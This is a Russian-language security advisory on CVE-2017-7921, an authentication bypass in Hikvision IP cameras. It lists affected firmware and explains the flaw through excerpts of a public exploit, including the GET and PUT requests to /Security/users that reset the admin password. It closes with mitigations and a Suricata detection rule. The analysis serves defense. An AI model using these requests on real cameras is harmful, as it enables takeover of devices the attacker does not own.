
Уязвимость BDU:2021-01212 (CVE-2017-7921) IP-камер Hikvision
Уязвимость BDU:2021-01212 (CVE-2017-7921) представляет собой критическую логическую ошибку в процедуре аутентификации веб-интерфейса IP-камер Hikvision. Она позволяет удаленному злоумышленнику без каких-либо учетных данных изменять пароли существующих пользователей, включая администратора. Уязвимость коренится в некорректной проверке параметра auth
при обращении к API /Security/users
. Сервер принимает любые данные в base64, переданные в этом параметре, как валидные учетные данные, вместо реальной проверки логина/пароля.
Анализ уязвимости
Уровень опасности: 10.0 CRITICAL
Вектор атаки: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-
AV:N (Attack Vector: Network) – Атака возможна удаленно через сеть.
-
AC:L (Attack Complexity: Low) – Низкая сложность эксплуатации.
-
PR:N (Privileges Required: None) – Привилегии не требуются.
-
UI:N (User Interaction: None) – Взаимодействие пользователя не нужно.
-
S:C (Scope: Changed) – Воздействие распространяется на другие компоненты системы.
-
C:H (Confidentiality: High) – Полное нарушение конфиденциальности.
-
I:H (Integrity: High) – Полное нарушение целостности.
-
A:H (Availability: High) – Полное нарушение доступности.
Условия эксплуатации
-
Устройство использует уязвимую версию ПО.
-
Веб-порт камеры (обычно 80/443) доступен атакующему.
-
Включен веб-интерфейс (активно по умолчанию).
Уязвимые устройства и версии ПО
- Hikvision DS-2CD2xx2F-I до 5.4.5 build 170123
- Hikvision DS-2CD2xx0F-I до 5.4.5 Build 170123
- Hikvision DS-2CD2xx2FWD до 5.4.5 Build 170124
- Hikvision DS- 2CD4x2xFWD до 5.4.5 Build 170228
- Hikvision DS-2CD4xx5 до 5.4.5 Build 170302
- Hikvision DS-2DFx до 5.4.9 Build 170123
- Hikvision DS-2CD63xx до 5.4.5 Build 170206
Анализ кода эксплоита
Рассмотрим ключевые фрагменты публичного эксплоита для понимания механики атаки:
1. Инициализация и параметры:
OptString.new('USERNAME', [ true, 'Username for password change', 'admin']), OptString.new('PASSWORD', [ true, 'New Password', 'Pa$$W0rd']), OptInt.new('ID', [ true, 'ID (default 1 for admin)', 1])
Эксплоит позволяет указать имя пользователя, новый пароль и его ID (1 для admin
).
2. Механизм проверки уязвимости (check
):
auth = Base64.encode64("admin:#{password}") # Случайный пароль! res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'Security', 'users'), 'vars_get' => { 'auth' => auth.strip } })
Эксплоит отправляет GET-запрос к /Security/users
с фальшивыми учетными данными в auth
. Если сервер возвращает список пользователей (код 200), уязвимость подтверждена.
3. Сброс пароля (run
):
post_data = %(<User version="1.0" xmlns="http://www.hikvision.com/ver10/XMLSchema"> <id>#{datastore['ID']}</id> <userName>#{datastore['USERNAME']}</userName> <password>#{datastore['PASSWORD']}</password> </User>) res = send_request_cgi({ 'method' => 'PUT', # Используется HTTP-метод PUT 'uri' => normalize_uri(target_uri.path, 'Security', 'users'), 'vars_get' => { 'auth' => auth.strip }, # Фальшивый auth! 'ctype' => 'application/xml', 'data' => post_data })
Эксплоит отправляет XML с новым паролем через PUT-запрос, используя тот же поддельный auth
. Сервер, доверяя параметру auth
, применяет изменения без проверки подлинности.
Защита и меры противодействия
-
Обновление прошивки:
Установите более новые версии ПО (выше указанных билдов). -
Сетевая сегментация:
-
Никогда не размещайте камеры напрямую в Интернете. Используйте VPN для доступа.
-
Разместите камеры в изолированной VLAN без доступа к корпоративной сети.
-
-
WAF/IPS Правила (Suricata):
Блокируйте PUT-запросы к/Security/users
с подозрительным содержимым:alert http $EXTERNAL_NET any -> $HOME_NET 80,443 \ (msg:"CVE-2017-7921: Hikvision Password Reset Attempt"; \ flow:to_server; \ http.method; content:"PUT"; \ http.uri; content:"/Security/users"; fast_pattern; \ http.header; content:"Content-Type: application/xml"; \ http.client_body; content:"<password>"; depth 10; \ sid:20211212; rev:1;)
-
Дополнительные меры:
-
Отключите неиспользуемые сервисы камеры (UPnP, Cloud).
-
Смените порт HTTP/HTTPS (не устраняет уязвимость, но снижает видимость).
-
Регулярно проводите аудит логов камер на подозрительные запросы.
-
Важно: Если устройство не поддерживает обновление, его следует заменить или физически изолировать от сети.
